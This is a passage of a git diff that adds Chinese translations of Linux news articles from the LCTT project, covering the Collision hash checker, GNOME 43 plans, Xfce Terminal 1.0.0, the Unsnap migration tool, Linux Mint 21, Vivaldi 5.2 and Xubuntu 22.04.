https://www.debugpoint.com/2021/08/elementary-os-6-odin-review/ +[3]: https://www.debugpoint.com/2021/05/elementary-os-6-beta/ +[4]: https://cassidyjames.com/blog/farewell-elementary/ +[5]: https://t.me/debugpoint +[6]: https://twitter.com/DebugPoint +[7]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[8]: https://facebook.com/DebugPoint diff --git a/published/202204/20220405 Collision- An Open-Source App to Check if Your Files Were Tampered With.md b/published/202204/20220405 Collision- An Open-Source App to Check if Your Files Were Tampered With.md new file mode 100644 index 0000000000..38b2e8d849 --- /dev/null +++ b/published/202204/20220405 Collision- An Open-Source App to Check if Your Files Were Tampered With.md @@ -0,0 +1,112 @@ +[#]: subject: "Collision: An Open-Source App to Check if Your Files Were Tampered With" +[#]: via: "https://itsfoss.com/collision/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14438-1.html" + +Collision: 一个验证你的文件是否被篡改的开源应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/06/101130edund6qvmdmw0nd0.jpg) + +> 一个让你查看你的文件哈希值,以确定它不是恶意文件,并且确实来自真实来源的图形界面程序。 + +有人给你发送了一个文件,你怎样来证实它是给你的原件?你怎样来确定它没有被篡改过? + +同时,你怎么证实这个文件是来自一个原始的真实来源。 + +这就是加密哈希的重要作用所在。如果用来验证一个文件,诸如 SHA-1 之类的哈希功能就是一个校验值。这能够帮助你确认文件是否已经被修改。 + +如果你感到好奇,你可以参考我们的 [在 Linux 中验证校验值的指南][1]。 + +对每个信息 / 文件来说,它们有一个唯一的哈希值(或者叫校验和)。所以,即使文件有一点点的改动,整个哈希值就会发生变化。 + +它主要用于加密中,每个文件 / 信息以哈希值安全的存储。假设一个攻击者掌握了存储哈希值(而不是真实信息)的数据库,他们也不能够知道其意义。加密可以使存储更加安全。 + +虽然讨论哈希超出了这篇文章的范围,但是了解它在验证文件完整性上是很有意义的。 + +### Collision:迅速的验证文件并发现恶意文件 + +![][2] + +如果没有图形界面,你就得用终端去生成哈希值来比对 / 验证。 + +Collision 使它变的非常容易,不需要打开终端或者生成文件的校验值。如果你不了解的话,我们的 [在 Linux 中验证校验值的指南][1] 可以帮助到你。 + +当使用 Collision 时, 你只需要添加你要生成哈希值或者验证所需的文件即可。你只需点击几下便能够保护自己免受恶意或篡改文件的攻击。 + +我在截图中显示了个文本文件,你的文件在发送给其他人之前,你可以验证各种类型文件或为你的文件生成一个哈希值。你可以通过发给收件人分享你生成的哈希值,让他们验证你的文件。 + +![][3] + +这是一款简单的开源应用,它只帮你做两件事情: + + * 生成哈希值(SHA-1、MD5、SHA-256、SHA-516) + * 通过直接使用文件或者校验值验证一个项目 + +### Collision 是怎么工作的 + +给你举个例子,我修改原来的文本文件,为其添加一个字母,然后尝试验证它。 + +下面是它的过程: + +首先,你需要打开你要比对的原文件或者有校验值的原文件。 + +打开原文件生成哈希值,然后去验证区查看修改后的文件。 + +![][4] + +你会注意到,它们俩个不是相同的: + +![][5] + +如果你在按校验值检查文件,首先,你要打开你要验证的文件(这儿是我们已经修改后的文件)。 + +![][6] + +然后,输入文件的原始真实校验值。当然我们已经知道我们测试的是修改后的文件,结果是我们所期望的,即,**验证文件完整性失败**。 + +![][7] + +### 在 Linux 安装 Collision + +Collisions 主要是一个为 GNOME 定制的程序,但是它也适用于其他发行版上。 + +你可以使用 [Flatpak 可用软件包][8] 来安装它,或者浏览 GitHub 网页,从源码中编译它。如果你是 Linux 新手,你可以参考我们的 [Flatpak 指南][9] 来得到帮助。 + +如果你喜欢使用终端来安装,键入以下命令来安装: + +``` +flatpak install flathub dev.geopjr.Collision +``` + +你也可以访问它的官方网站。 + +> [Collision][10] + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/collision/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/checksum-tools-guide-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collission-verify-true.png?resize=800%2C617&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collision-hash-values.png?resize=800%2C617&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collision-file-open.png?resize=800%2C328&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collision-file-check.png?resize=800%2C620&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collision-file-verify.png?resize=800%2C373&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/04/collision-input-checksum.png?resize=800%2C626&ssl=1 +[8]: https://flathub.org/apps/details/dev.geopjr.Collision +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://collision.geopjr.dev/ diff --git a/published/202204/20220405 Here-s What Devs Are Planning for GNOME 43.md b/published/202204/20220405 Here-s What Devs Are Planning for GNOME 43.md new file mode 100644 index 0000000000..9364aaad8c --- /dev/null +++ b/published/202204/20220405 Here-s What Devs Are Planning for GNOME 43.md @@ -0,0 +1,121 @@ +[#]: subject: "Here’s What Devs Are Planning for GNOME 43" +[#]: via: "https://news.itsfoss.com/gnome-43-dev-plans/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14440-1.html" + +开发者对于 GNOME 43 的计划 +====== +> GNOME 43 及以后的开发计划令人振奋,以下是你可以期待的:…… + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/gnome43-ft.jpg) + +GNOME 42 刚刚发布不久。 + +尽管它是 GNOME 41 之后的一次令人兴奋的升级,但你可能无法在每个主流 Linux 发行版上找到它(除了 OpenSUSE、Arch 和 Clear Linux)。 + +Fedora 36 和 Ubuntu 22.04 应该是采用 GNOME 42 的最受欢迎的选择,它们将在接下来的几周发布。 + +接下来是什么?没错,就是 **GNOME 43**。 + +### GNOME 43:计划中的新功能 + +在一篇 [博文][1] 中,GNOME 开发者 Chris Davis 分享了一些 GNOME 43 及之后版本计划中的变更。 + +我在这里介绍其中的一些主要亮点。 + +> 请注意,这里提到的计划变更或改进可能会在 GNOME 43 中首次亮相,也可能不会。 + +#### 全局强调色 + +![Ubuntu 22.04 Beta 中的强调色][2] + +随着 Libadwaita 的引入,现在有可能增加一个全局强调色的功能。 + +你不必依赖发行版来提供使用强调色的能力(比如 [Ubuntu 22.04 中添加了这个功能][3])。 + +有了强调色,GNOME 桌面体验可以更加个性化。此外,它将不仅仅局限于预设,同时也支持自定义强调色,应用开发者可以考虑支持它。 + +#### 重新着色 API + +![][4] + +这对终端用户来说可能不是特别有趣,但它将帮助应用开发者提供预设的颜色方案,让他们的应用更好地协调各种强调色。 + +正如这篇博文所说: + +> 开发者可以使用重新着色 API,以编程方式改变他们应用程序中的颜色,并让依赖的颜色自动更新。他们将能够轻松地创建预设,从而实现许多功能。例如,根据文本视图的颜色方案来改变窗口的显示颜色。 + +有了 libadwaita 1.0 中的 CSS,这在技术上已经可以实现。然而,API 可以帮助开发者更容易地使用这个功能。 + +#### 自适应的 Nautilus 文件管理器 + +![][5] + +Nautius 文件管理器将得到一些升级,比如针对移动尺寸的自适应设计,其中包含一个新的文件选择器模式。 + +它将帮助 GNOME 平台跟上新功能,而不需要依赖 GTK 的文件选择器,因为它不支持 GNOME 的所有功能,比如收藏文件。 + +#### 新的图片浏览器(Loupe)和屏幕截图注释 + +一个新的图片浏览器正在开发中,名字叫 Loupe。它由 Rust 编写,使用了 GTK4 和 libadwaita。 + +![][6] + +这个图片浏览器的目标是自适应、对触摸板和触摸屏友好,并且易于使用。你可以期待它与 Nautilus 集成,以遵循文件管理器中任何文件夹的排序设置。 + +除了系统集成之外,新的图片浏览器还将会有一些功能升级,主要是在基本的图片编辑方面,比如剪裁、旋转和注释。 + +![][7] + +有了注释的能力,它可以与截图流程很好地配合,允许你在没有任何第三方程序的情况下进行屏幕截图并进行注释。 + +#### 磁盘使用情况分析器的新设计(用 Rust 重写) + +磁盘使用情况分析器目前是用 Vala 编写的。 + +虽然它能完成预期的工作,但是按照现在的实现方式,它不具备很大的潜力。 + +![磁盘使用情况分析器的设计演示图,图源:Allan Day][8] + +因此,开发计划中包括了使用 Rust 来重写它,这应该会在可预见的未来改善它,提供最好的性能。 + +![磁盘使用情况分析器的设计模型,图源:Allan Day][9] + +不仅仅局限于其核心,它还将得到一个设计上的大调整(类似于上面的演示图),以争取让用户体验更加现代化。 + +### 其他改进措施 + +随着开发的进行,我们应该会知道更多关于 GNOME 外观和其他方面计划中的变更。 + +当我们了解到更多关于 GNOME 43 的功能时,我将会更新这篇文章。 + +如果你对技术细节感到好奇,你可以阅读 [Chris 的博文][1]。你也可以赞助他为 GNOME 做的工作,以及其他任何相关的东西。 + +你期待中的 GNOME 43 是什么样的?请在下面的评论中分享你的想法吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-43-dev-plans/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://blogs.gnome.org/christopherdavis/2022/04/03/plans-for-gnome-43-and-beyond/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-22-04-dark-mode.png?w=1155&ssl=1 +[3]: https://news.itsfoss.com/ubuntu-22-04-accent-color/ +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/recoloring-api-gnome-43.png?w=768&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/nautilus-gnome-43-plan.png?w=768&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/image-viewer-gnome-43.png?w=722&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/03/ubuntu-22-04-screenshot-ui.jpg?w=800&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/disk-usage-analyser-gnome-43.png?w=763&ssl=1 +[9]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/disk-usage-analyser-gnome-43-1.png?w=759&ssl=1 diff --git a/published/202204/20220405 Xfce Terminal 1.0.0 is a Feature-Packed Major Upgrade After a Year.md b/published/202204/20220405 Xfce Terminal 1.0.0 is a Feature-Packed Major Upgrade After a Year.md new file mode 100644 index 0000000000..7df9a215df --- /dev/null +++ b/published/202204/20220405 Xfce Terminal 1.0.0 is a Feature-Packed Major Upgrade After a Year.md @@ -0,0 +1,96 @@ +[#]: subject: "Xfce Terminal 1.0.0 is a Feature-Packed Major Upgrade After a Year" +[#]: via: "https://news.itsfoss.com/xfce-terminal-1-0-0-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14459-1.html" + +Xfce Terminal 1.0.0:时隔一年后的一次功能丰富的重大升级 +====== + +> 在其上一个主要版本发布一年后,Xfce Terminal 1.0.0 终于来了。兴奋地想了解一下新的改进吗?让我们来看看! + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/xfce-terminal-1-0-0.jpg) + +作为几乎在所有采用 Xfce 的发行版上流行的终端模拟器,Xfce Terminal 刚刚由新的维护者(及新的版本计划)发布了它的第一次重大升级。 + +让我们来看看这个版本的一些亮点。 + +### 新的维护者和版本管理方案 + +Igor Zakharov 从 2016 年到 2020 年一直在领导它的开发工作。不幸的是,在 2021 年它就没有被维护过,直到新的维护者 [Sergios][1] Anestis Kefalidis(也是 Thunar 文件管理器的开发者)接手。 + +而且,自从 Sergios 接管了这个项目后,版本管理方案也发生了变化。经过与社区的协商,采用了 Thunar 的旧版本计划。 + +例如,1.1.x 版本将是开发版本,而 1.2.0 版本将是下一个主要升级版本。 + +现在,随着 Xfce Terminal 1.0.0 的发布,一些令人兴奋的新特性已经被纳入。 + +### 新特性 + +Xfce Terminal 1.0.0 的一些新特性包括: + + * 改进了自定义选项 + * 支持叠加滚动条 + * 命令行选项的改进 + * 更多使用 XfceTitledDialog + +#### 更好的自定义选项 + +和现在许多应用的更新一样,Xfce Terminal 1.0.0 包括大量新的自定义选项。也许我最喜欢的是,图像背景功能现在有一个“填充”风格选项。伴随着这一点的是暂时禁用不安全的粘贴对话框的能力,它也被改造了。 + +最后,Xfce Terminal 也成为首批支持新的 Xfce 快捷键编辑器的应用之一。因此,用户不再需要潜心研究配置文件,而是有了一个可以使用的简单 UI。 + +![][2] + +有了这么多新的定制选项,我相信很多人都会对一个只是包含这些的版本感到满意。但是!开发者设法加入了更多令人兴奋的新功能,其中下一个是改进的命令行参数。 + +#### 更好的命令行参数 + +在这个版本中,修复了 `-tab` 和 `-window` 命令行参数,变得更加直观。这修复了 Xfce Terminal 中一个 [长期存在的错误][3],它已经存在了近 6 年。 + +尽管等待了很久,但现在它已经被修复了。迟到总比不到好,是吧? + +不管怎么说,看到每一个新版本的错误被修复总是很好的,这个趋势在这里继续。 + +#### 更多使用 Xfce 专用的小工具 + +虽然我相信很多用户可能会认为这是一个退步,但 Xfce Terminal 使用更多的 Xfce 专用小工具带来了很多好处。虽然这对非 Xfce 用户确实意味着要安装更多的依赖关系,但它意味着与 Xfce 更好的整合。 + +可以说,大多数的 Xfce Terminal 用户都坚持使用同样的 Xfce 桌面环境。所以,这种改变应该会带来更大的一致性和用户体验的改善。 + +#### 其他变化 + +这个版本的其他变化包括: + + * “输出滚动”偏好设定的改进 + * 右键点击行为的自定义选项 + * 为缩小代码库而进行的代码重写 + +关于完整的功能列表,请随时参考 [发布说明][4]。发布说明中还提到了下一个主要版本的未来计划,即 v1.2.0。 + +### 总结 + +总的来说,Xfce Terminal 1.0.0 看起来是一个不错的版本,也说明了其新的维护者的奉献精神。 + +如果你想试试 Xfce Terminal 1.0.0,它应该会在接下来的几周内进入你的发行库,如果现在还没有的话。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/xfce-terminal-1-0-0-release/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://www.youtube.com/channel/UCu8-J-XWcXQhoCopBiJ5-uw/videos +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/xfce4-terminal.png +[3]: https://bugzilla.xfce.org/show_bug.cgi?id=12926 +[4]: http://users.uoa.gr/~sdi1800073/sources/xfce_blog12.html diff --git a/published/202204/20220406 Ex-Snap Advocate at Ubuntu Creates a Tool to Help You Migrate from Snap to Flatpak.md b/published/202204/20220406 Ex-Snap Advocate at Ubuntu Creates a Tool to Help You Migrate from Snap to Flatpak.md new file mode 100644 index 0000000000..a6b9c64b22 --- /dev/null +++ b/published/202204/20220406 Ex-Snap Advocate at Ubuntu Creates a Tool to Help You Migrate from Snap to Flatpak.md @@ -0,0 +1,131 @@ +[#]: subject: "Ex-Snap Advocate at Ubuntu Creates a Tool to Help You Migrate from Snap to Flatpak" +[#]: via: "https://news.itsfoss.com/unsnap-migrate-snap-to-flatpak/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14482-1.html" + +Ubuntu 的前 Snap 倡导者创建了一个工具,帮助你从 Snap 迁移到 Flatpak +====== + +> 吃惊!Canonical 的前 Snap 倡导者开发了一个工具,帮助你快速抛弃 Snap 并使用 Flatpak。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/unsnap.png) + +不喜欢使用 Snap? + +好吧,你可以一直坚持使用传统的二进制包(deb/rpm),或者选择 [Flatpak][1]。 + +但是,如果你已经用上了 Snap 商店的应用,怎么办? + +手动删除 Snap 应用,和 Snap 说再见,安装 Flatpak,并安装所有 Flatpak 需要的软件包,这将是非常耗时的。 + +这就是 “Unsnap” 派上用场的地方。 + +Unsnap 是一个开源工具,由 Canonical 的前 Snap 倡导者 **Alan Pope** 开发,帮助你从Snap 快速迁移到 Flatpak。 + +### Unsnap:它是如何工作的 + +> 请注意,该工具仍处于前 alpha 阶段,你可以测试它,但如果你想实际使用并帮助改进,你可能要做一些研究。 + +基本上,该工具生成的脚本可以帮助你做以下事情(按特定顺序): + + * 备份现有的 Snap 软件包。 + * 安装 Flatpak(如果尚未存在)。 + * 启用 Flathub。 + * 为 Snap 应用安装相同的 Flatpak 应用。 + * 移除已安装的 Flatpak 应用的 Snap 应用。 + * 删除所有 Snap 软件包。 + +虽然脚本是在你运行工具时自动生成的,但你可以选择手动或自动逐个运行这些脚本来切换到 Flatpak 应用。 + +### 如何测试 Unsnap? + +![][2] + +看了上面的截图,你可能对它的实现方式有了一个模糊的概念。你也可以参考它的 [GitHub 页面][3] 了解最新信息。 + +作为参考,让我为你强调一下步骤: + +#### 1、克隆 GitHub 仓库 + +请确保你已经 [在你的 Linux 发行版上安装了 Git][4]。完成后,你可以输入以下命令: + +``` +git clone https://github.com/popey/unsnap +``` + +#### 2、切换到该目录 + +当你克隆了仓库,你的系统上就会有 `unsnap` 目录。 + +输入以下命令切换到目录: + +``` +cd unsnap +``` + +#### 3、运行该工具 + +在切换到目标目录后,只需使用命令运行 `unsnap` 工具: + +``` +./unsnap +``` + +它将检查现有的 Snap 和 Flatpak 软件包等等,进行设置。 + +正如你在上面的截图中注意到的,它已经检测到我的系统有了 Flatpak 环境,所以它跳过了为这些任务生成脚本。 + +在这个过程中,它还会了解你系统上安装的 Snap 应用,以便在你运行生成的脚本时找到相应的 Flatpak 应用。 + +如果你想立即运行所有的脚本,你可以输入: + +``` +./unsnap auto +``` + +![][2] + +如果你想要不使用自动选项进行控制,你可以发现生成的脚本驻留在一个日志目录内,如下图所示: + +![][2a] + +下面是你应该遵循的脚本的执行顺序: + + * `00-backup` + * `01-install-flatpak` + * `02-enable-flathub` + * `03-install-flatpaks` + * `04-remove-snaps` + * `99-remove-snapd` + +在我的例子中,我已经设置了 Flatpak,所以我继续运行备份脚本,然后安装 Flatpak 软件包,如此循环。下面是它看起来的样子: + +![][2b] + +你应该记住,这个工具正在积极开发中,可能不会像预期那样工作。所以,你如果依赖众多的 Snap 应用,你应该在虚拟机或测试机上试验使用该工具,并等待该工具随着稳定版本的推出而改进。 + +请在下面的评论中告诉我你对 Unsnap 的看法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/unsnap-migrate-snap-to-flatpak/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/flatpak-guide/ +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/unsnap-auto.png +[3]: https://github.com/popey/unsnap +[4]: https://itsfoss.com/install-git-ubuntu/ +[2a]: https://news.itsfoss.com/wp-content/uploads/2022/04/unsnap-scripts.png +[2b]: https://news.itsfoss.com/wp-content/uploads/2022/04/unsnap-install-flatpaks.png \ No newline at end of file diff --git a/published/202204/20220407 Linux Mint 21 Code Name Announced with New Upgrade Utility and More.md b/published/202204/20220407 Linux Mint 21 Code Name Announced with New Upgrade Utility and More.md new file mode 100644 index 0000000000..c86f50a751 --- /dev/null +++ b/published/202204/20220407 Linux Mint 21 Code Name Announced with New Upgrade Utility and More.md @@ -0,0 +1,62 @@ +[#]: subject: "Linux Mint 21 Code Name Announced with New Upgrade Utility and More" +[#]: via: "https://www.debugpoint.com/2022/04/linux-mint-21-announcement/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14448-1.html" + +Linux Mint 21 公布了代号、新的升级工具及更多内容 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/09/112010zm619gd31ka7zk3k.jpg) + +> Mint 团队公布了即将到来的 Linux Mint 21 的代号、一个用于轻松升级的工具,以及令团队惊叹的 Warpinator 使用案例。 + +### Linux Mint 21 公告和其他更新 + +首先,Linux Mint 21 的代号是 “Vanessa”,它将基于 [Ubuntu 22.04 LTS Jammy Jellyfish][1]。像往常一样,它将提供三个旗舰版本:Xfce、Cinnamon 和 MATE。 + +其次,很明显,Mint 团队将选择 Ubuntu 22.04 LTS 作为 Linux Mint 21 的基础以获得长期支持。它将采用 [5.15 版本的 Linux 内核][2],这是一个长期支持版的内核。 + +除此之外,项目负责人 Clement Lefebvre 还宣布了 [一个新的升级工具][3](mintupgrade2),这样一来,计划升级到 Linux Mint 21 的用户可以更轻松地完成升级步骤。根据历史经验,升级到 Mint 的主要版本是一个涉及大量终端操作的复杂过程,这对普通用户来说通常是困难的。 + +![随 Linux Mint 21 公布的 Mint 升级工具][4] + +因此,考虑到其用户基础,Mint 团队为用户开发这个升级工具还是很有必要的。Clement Lefebvre 承诺,新的工具将是完全图形化的,附带有易于管理的步骤和说明。它将支持语言的本地化,还将为复杂的升级过程提供预先检查,同时也将为用户提供易于理解的可配置的指南。 + +这个工具将成为从 Linux Mint 20 升级到 21 的主要工具,它会在五、六月份左右发布。此外,这个新工具承诺提供关于自定义 PPA 和孤儿包的警告,以减少你在升级前的担忧。老实说,这将是 Mint 团队为其用户带来的最好的工具之一。 + +#### 其他更新 + +除了以上更新外,团队还提到,文件传输工具 Warpinator 被世界上的多个用户用于一些奇怪的需求 —— 这是团队之前从未想过的。例如,有人用 Warpinator 在 Windows 和 V 社的 Steam Deck 游戏机之间传输文件,参见 [这个视频][5]。 + +说到这里,Warpinator 现在提供了一个 [针对 iOS][6] 用户的测试发行版。你现在可以在你的苹果系统与任何其他系统之间快速传输文件,包括安卓、Linux 和 Windows。Mint 团队开发的这个应用真不错。 + +你可以在官方[博客][7]中阅读关于 Linux Mint 21 的公告和更多内容。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/04/linux-mint-21-announcement/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/2022/01/ubuntu-22-04-lts/ +[2]: https://www.debugpoint.com/2021/11/linux-kernel-5-15/ +[3]: https://github.com/linuxmint/mintupgrade2 +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-upgrade-2-utility-announced-with-Linux-Mint-21.jpg +[5]: https://www.youtube.com/watch?v=sHdQT6kI6Q8 +[6]: https://www.reddit.com/r/linuxmint/comments/rn04lw/interest_in_warpinator_for_ios/ +[7]: https://blog.linuxmint.com/?p=4293 +[8]: https://t.me/debugpoint +[9]: https://twitter.com/DebugPoint +[10]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[11]: https://facebook.com/DebugPoint diff --git a/published/202204/20220407 Vivaldi 5.2 Adds a Reading List Panel - New Privacy Statistics Bar.md b/published/202204/20220407 Vivaldi 5.2 Adds a Reading List Panel - New Privacy Statistics Bar.md new file mode 100644 index 0000000000..6418116b9f --- /dev/null +++ b/published/202204/20220407 Vivaldi 5.2 Adds a Reading List Panel - New Privacy Statistics Bar.md @@ -0,0 +1,104 @@ +[#]: subject: "Vivaldi 5.2 Adds a Reading List Panel & New Privacy Statistics Bar" +[#]: via: "https://news.itsfoss.com/vivaldi-5-2-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14452-1.html" + +Vivaldi 5.2 增加了阅读列表面板和新的隐私统计栏 +====== + +> Vivaldi 5.2 已经准备好了,增加了新的功能,使该浏览器对桌面和移动用户更加有用。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/vivaldi-5-2.jpg) + +对于那些希望获得更好的浏览体验的用户来说,Vivaldi 一直以来都是一个很好的选择。 + +尽管它不是完全的自由及开放源代码软件Free and Open Source Software(FOSS)(用户界面是专有的,其他部分是开源的),但对于那些需要处理多个标签页,以及希望有更多特性的 Linux 用户来说,它是一个可行的选择。 + +事实上,它现在是 [Linux 用户的最佳选择之一][1]。 + +Vivaldi 5.2 增加了更多有用的升级,对于你目前使用的浏览器来说,它现在成为了一个吸引人的可选替代品。 + +### Vivaldi 5.2:新功能 + +Vivaldi 5.2 通过一个新的阅读面板和一个独立的隐私统计栏,增强了使用体验。 + +其安卓版也得到了一些令人兴奋的升级,让我们来看看吧! + +下面是更多的介绍: + +#### 阅读列表面板 + +![][2] + +此前,Vivaldi 的侧面板已经有了大量的选项,包括电子邮件、RSS、日历等。 + +现在,一直存在于地址栏中的阅读列表(保存页面以便以后阅读)现在也可以在侧面板中使用。 + +出现在侧面板中后,阅读列表变得比以前更容易访问。因此,你能够在你需要的时候,随时检查/浏览阅读列表,而不必从当前的任务中切换出来。 + +你可以在下面的视频中查看该功能的运行情况: + +![](https://youtu.be/hhGQUO8u9iQ) + +你可以在侧面板里管理、搜索和组织阅读列表。 + +你也可以使用快捷命令,把任何页面保存到到阅读列表中。别忘了,你的阅读列表还能够与你的手机(安卓)或任何其他已连接的设备同步。 + +#### 隐私统计栏 + +![][4] + +尽管 Vivaldi 已经有了阻止跟踪器的内置保护功能,但你并不能正确了解这些跟踪器的信息。 + +有了新的统计栏,你就可以集中地看到在浏览过程中被阻止的所有跟踪器的跟踪行为。 + +大多数用户可能不关心这个问题。但是,查看统计信息可以让你知道什么追踪器更普遍,并获得对它们的了解。 + +你也可以在下面的视频中了解它的实际使用: + +![](https://youtu.be/MAY5s_MpnxY) + +#### 其他改进措施 + +除了隐私统计栏,Vivaldi 5.2 还提供了其他改进,比如: + + * 支持把 [Qwant][6] 搜索引擎作为默认的搜索引擎。 + * 优化了标签的拖/放操作。 + * 改进了 Vivaldi Mail、Calendar 和 Feed Reader 的功能。 + +若想了解更多信息,你可以参考 [官方发布公告][7]。 + +### 下载 Vivaldi 5.2 + +你可以从它的官方网站下载最新的发布包(deb/rpm)来安装。 + +> [下载 Vivaldi 5.2][8] + +如果你是通过官方的仓库 [在 Linux 上安装的 Vivaldi][9],它可能已经在你的软件更新列表里了,即使现在没有,你也应该很快就能在软件更新列表中找到它。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vivaldi-5-2-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://news.itsfoss.com/wp-content/uploads/2022/04/vivaldi-side-panel.jpg +[3]: https://youtu.be/hhGQUO8u9iQ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/04/Privacy-statistics-vivaldi-5-2.jpg +[5]: https://youtu.be/MAY5s_MpnxY +[6]: https://www.qwant.com/ +[7]: https://vivaldi.com/press/vivaldi-adds-a-reading-list-panel-shows-statistics-on-blocked-trackers-and-ads/ +[8]: https://vivaldi.com/download/ +[9]: https://itsfoss.com/install-vivaldi-ubuntu-linux/ diff --git a/published/202204/20220407 Xubuntu 22.04 LTS - New Features and Release Details.md b/published/202204/20220407 Xubuntu 22.04 LTS - New Features and Release Details.md new file mode 100644 index 0000000000..6cceb7c1d4 --- /dev/null +++ b/published/202204/20220407 Xubuntu 22.04 LTS - New Features and Release Details.md @@ -0,0 +1,85 @@ +[#]: subject: "Xubuntu 22.04 LTS – New Features and Release Details" +[#]: via: "https://www.debugpoint.com/2022/04/xubuntu-22-04-lts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14478-1.html" + +Xubuntu 22.04 LTS - 新功能和发布细节 +====== + +> Xubuntu 22.04 LTS(Jammy Jellyfish)的新功能列表以及关于该版本的其他信息。 + +![Xubuntu 22.04 Desktop][1] + +### Xubuntu 22.04 LTS - 新功能 + +Xubuntu 22.04 LTS 采用的是 Linux 内核 5.15,基础软件包来自 Ubuntu 22.04 LTS。除此以外,默认的桌面环境版本是 Xfce 4.16。Xfce 桌面环境自 2020 年 12 